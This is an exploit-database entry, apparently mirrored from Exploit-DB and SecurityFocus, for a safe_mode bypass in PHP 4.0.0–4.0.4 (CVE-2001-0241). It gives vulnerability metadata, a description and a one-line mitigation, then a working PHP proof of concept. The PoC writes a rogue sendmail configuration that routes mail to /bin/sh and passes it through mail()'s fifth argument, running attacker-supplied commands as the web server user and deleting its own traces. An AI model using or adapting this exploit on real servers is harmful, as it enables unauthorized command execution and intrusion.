header-logo
Suggest Exploit
vendor:
PHP
by:
SecurityFocus
7.5
CVSS
HIGH
PHP safe_mode bypass
78
CWE
Product Name: PHP
Affected Version From: PHP 4.0.0
Affected Version To: PHP 4.0.4
Patch Exists: YES
Related CWE: CVE-2001-0241
CPE: a:php:php
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux, Windows
2001

PHP safe_mode bypass

A vulnerability in PHP's safe_mode feature allows a local user to bypass the safe_mode restrictions and execute arbitrary commands with the privileges of the HTTP process UID. This is possible by uploading a malicious php script, and executing it with a custom query string. It is also possible to pass command line parameters to sendmail when safe_mode is enabled, by using the 5th argument permitted by safe_mode.

Mitigation:

The safe_mode feature should be disabled, or the 5th argument should be disabled.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2954/info

PHP is the Personal HomePage development toolkit, distributed by the PHP.net, and maintained by the PHP Development Team in public domain.

A problem with the toolkit could allow elevated privileges, and potentially unauthorized access to restricted resources. A local user may upload a malicious php script, and execute it with a custom query string.

This makes it possible for a local user to execute commands as the HTTP process UID, and potentially gain access with the same privileges of the HTTP UID.

It has been reported that the proposed fix does not entirely fix the problem, as it's possible to pass command line parameters to sendmail when safe_mode is enabled. This may be done through the 5th argument permitted by safe_mode. 

<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>